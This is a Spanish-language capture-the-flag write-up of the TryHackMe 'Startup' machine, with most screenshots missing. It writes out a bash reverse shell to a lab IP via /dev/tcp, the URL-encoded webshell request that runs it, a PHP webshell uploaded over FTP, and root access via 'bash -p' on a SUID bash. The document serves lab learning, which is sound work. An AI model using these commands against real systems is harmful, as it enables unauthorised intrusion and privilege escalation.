TryHackMe | Startup | Write up (#THM) by r1cky_r3x

 

Startup














Por
Rick Álvarez (aka r1cky_r3x)


Camino hacia el eJPTv2









Pre-Configuración TryHackMe





Nota: en ocasiones me sucede que estoy ejecutando cosas y la maquina se me queda colgada, entonces la termino y la vuelvo a iniciar con una nueva IP.


Reconocimiento

Ping, IP y SO: 


Enumeración

Quick Scan:



Servicios y versiones:


Interesante!


Puerto 21:



Puerto 22

Nmap scripts


Service vulnerabilities


Puerto 80

Nmap scripts


Service vulnerabilities


Whatweb



Sitio web + Codigo fuente




Wappalyzer



Fuzzing

- Simple


Encontramos una carpeta, vamos a ver de que se trata:


Vaya vaya!

Estas pensanod lo mismo que yo?

Vamos hacer una prueba

Verificamos...

Perfecto!

Ya tenemos una manera potencial de obtener una webshell...


- Avanzado


Explotación

Vamos a crearnos una webshell sencilla en php:


Subimos este archivo al ftp:



Vamos al sitio


E ingresamos con una prueba:


Perfecto!

Tenemos ejecucion de comandos remoto.


Obteniendo una revshell

Maquina de kali:


Ejecutamos el siguiente web command en nuestra webshell:

bash -c "bash -i >& /dev/tcp/10.6.22.89/4343 0>&1"


OJO

Necesitamos cambiar el "&" por su codigo en formato url encode:

http://10.201.8.19/files/ftp/webshell.php?cmd=bash%20-c%20%22bash%20-i%20%3E%26%20/dev/tcp/10.6.22.89/4343%200%3E%261%22


Ejecutamos:


Vamos a nuestra maquina de kali:


Estamos dentro!


Vamos por nuestra primera pista y nuestra primera flag:

En la carpeta raíz encontramos algo...

Parece que tenemos nuestra primera pista.

Además tenemos otra carpeta que podemos acceder como www-data:

Vamos aprovechar que tenemos el ftp habilitado para podernos traer el archivo:




Lo descargamos a nuestra maquina de kali y abrimos con wireshark para analizarlo...

Después de indagar un poco las trazas TCP con wireshark (TCP - Follow):



Encontramos algo interesante:


Tenemos una credencial, vamos a ver si la podemos utilizar:




Post Explotación

Vamos a enumarar un poco aqui:

Scripts:


Documents:

Parece ser que yo puedo editar el archvo /etc/print.sh pero no puedo ejecutarlo...

Le hice una modificación y no lo puedo ejecutar como root :( 


pero ... despues de un rato se me ocurrio revisar los permisos de la /bin/bash y o sorpresa!?

Y para que queria hacer esto?

Para ajecutar

bash -p

Esto lo que hace es , si el binario bash tinee el bit SUID encendido, esto lo que hace automaticamente es darnos la posibilidad de ejecutar con cualquier usuario la bash con los permisos del propietario, que en este caso es root,

Vamos a ver si nos deja...






Por lo pronto hemos Pwneado la maquina "Startup".


Bonus

Ahora resolviendo mi duda, de, ¿que fregados paso?

Muy probablemente había un cron job que estaba ejecutando el usuario root, no es coincidencia que yo pudiera obtener a shell asi de simple.

Entonces para corroborar esto, ejecute el famoso LinPEAS , que desafortunadamente no me identifico nada :(

Te comparto como fue que lo ejecute , ya que te pudiera ser util para otros CTFs o incluso maquinas reales.


Maquina atacante:

Descargue el recurso de aqui.

Posteriomente me lo comparti con:

python3 -m http.server 80

Y lo descargue en /tmp/rick/linpeas.sh en la maquina victima.

Luego le di permisos:

chmod +x /linpeas.sh

Y ahora solo ejecute:


OJO: suelta demasiada información asi que date el tiempo de revisar cada uno de los puntos importantes que te pudieran llevar a una escalada de privilegios.


Ahora, intente con otra herramineta que se llama PSPY:


Y descargamos en la maquina victima:


Y ejecutamos:


Eureka!

Tenemos la lista del proceso indica que efectivamente, hay "algo" (tal ves un job) que esta ejecutando aproximadamente cada minuto el /bin/bash /etc/print.sh.


Ahora si, estoy contento con lo investigado y lo que hemos conseguido.

Espero que al igual que a mi te halla gustado.





Comentarios